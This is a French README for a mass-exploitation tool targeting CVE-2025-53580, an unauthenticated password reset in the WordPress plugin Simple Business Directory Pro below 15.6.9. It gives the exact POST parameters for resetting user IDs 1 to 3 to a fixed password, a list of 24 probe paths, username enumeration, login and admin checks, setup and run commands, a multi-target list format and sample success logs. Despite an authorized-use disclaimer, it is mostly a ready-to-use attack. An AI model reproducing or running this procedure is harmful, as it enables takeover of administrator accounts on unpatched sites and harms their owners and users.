
WordPress Simple Business Directory Pro Plugin < 15.6.9 est vulnérable à une élévation de privilèges de haute priorité
Le plugin WordPress Simple Business Directory Pro < 15.6.9 est vulnérable à une escalade de privilèges de haute priorité
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
Cause racine :
Le plugin expose un formulaire frontal de restauration de mot de passe (qcpd-restore-pwd) qui accepte un qcpd-uid numérique (ID utilisateur WordPress) et une nouvelle valeur pass. Aucune authentification, jeton, nonce ou vérification par email n'est appliquée avant la modification du mot de passe. Tout attaquant non authentifié peut réinitialiser le mot de passe de l'ID utilisateur 1 (généralement l'administrateur du site) et de tout autre utilisateur en soumettant une seule requête POST, puis s'authentifier avec le mot de passe injecté pour obtenir un accès administrateur complet.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Découvrir la page de restauration SBD │
│ Sonder 24 chemins candidats → correspondre au corps "sbd" │
│ │
│ 2. Réinitialiser les mots de passe par ID utilisateur │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (puis 2, puis 3) │
│ pass = NxploitedNX │
│ │
│ 3. Énumérer les noms d'utilisateur │
│ /?author=1..9 → redirection / analyse du corps │
│ /wp-json/wp/v2/users → champs slug / nom d'utilisateur │
│ heuristique nom d'hôte + repli "admin" │
│ │
│ 4. Connexion avec le mot de passe injecté │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Vérifier : présence du cookie wordpress_logged_in │
│ │
│ 5. Vérifier l'accès admin (double méthode) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → menu admin / tableau users │
│ │
│ 6. Écrire le résultat confirmé → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Fichier de la liste des cibles (une hôte/URL par ligne) [list.txt] : list.txt
Threads (sites simultanés) [3] : 5
Délai d'attente HTTP (secondes) [10] : 10
Fichier des résultats réussis [Nx_sbd_login_hits.txt] : Nx_sbd_login_hits.txt
Le mot de passe injecté pour toutes les tentatives de réinitialisation est fixé en interne :
NxploitedNX
Identifiants d'utilisateur ciblés par site :
1,2,3(configurable viaMAX_USER_ID)
list.txthttps://cible1.com
cible2.com
http://cible3.com
L'outil scanne 24 chemins par cible en cherchant une page dont le corps contient sbd :
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
Toute connexion réussie est vérifiée par deux contrôles indépendants avant d'être écrite sur le disque :
Méthode 1 — API REST :
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMÉ
Méthode 2 — Tableau de bord :
GET /wp-admin/users.php
→ menu admin / marqueurs du tableau des utilisateurs présents → ADMIN CONFIRMÉ
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://cible.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://cible2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://cible.com :: démarrage
[ok] https://cible.com :: page sbd frontale trouvée sur https://cible.com/my-account
[info] https://cible.com :: démarrage du brute force qcpd-uid=1..3 avec pass=NxploitedNX
[info] https://cible.com :: POST uid=1 → statut=302, Location=/my-account/?restored=1
[info] https://cible.com :: POST uid=2 → statut=302, Location=/my-account/?restored=1
[info] https://cible.com :: extraction des noms d'utilisateur et tentative de connexion
[ok] https://cible.com :: login OK pour user='admin', vérification admin...
[ok] https://cible.com :: RÉUSSI pour user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://cible2.com :: aucune page sbd trouvée dans les chemins de restauration candidats, ignoré
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
POUR LA RECHERCHE EN SÉCURITÉ ET L'ÉDUCATION AUTORISÉES UNIQUEMENT.
L'auteur décline toute responsabilité en cas d'utilisation sur des systèmes
que l'exploitant ne possède pas ou pour lesquels il n'a pas d'autorisation écrite explicite de test.
Toute utilisation non autorisée enfreint le CFAA, le CMA et les lois équivalentes dans le monde entier.
Vous êtes seul responsable de vos actions.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · Corrigé dans 15.6.9
| Champ | Détail |
|---|
| CVE | CVE-2025-53580 |
| Plugin | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| Versions affectées | Toutes les versions < 15.6.9 |
| Authentification | Aucune requise |
| Type | Attribution de privilèges incorrecte → Réinitialisation de mot de passe non authentifiée |
| CWE | CWE-266 · Attribution de privilèges incorrecte |
| Méthode | Point d'accès |
|---|
| Redirection auteur | /?author=1 → /?author=9 |
| API REST | /wp-json/wp/v2/users → slug + username |
| Heuristique nom d'hôte | Premier label du domaine |
| Repli codé en dur | admin toujours inclus |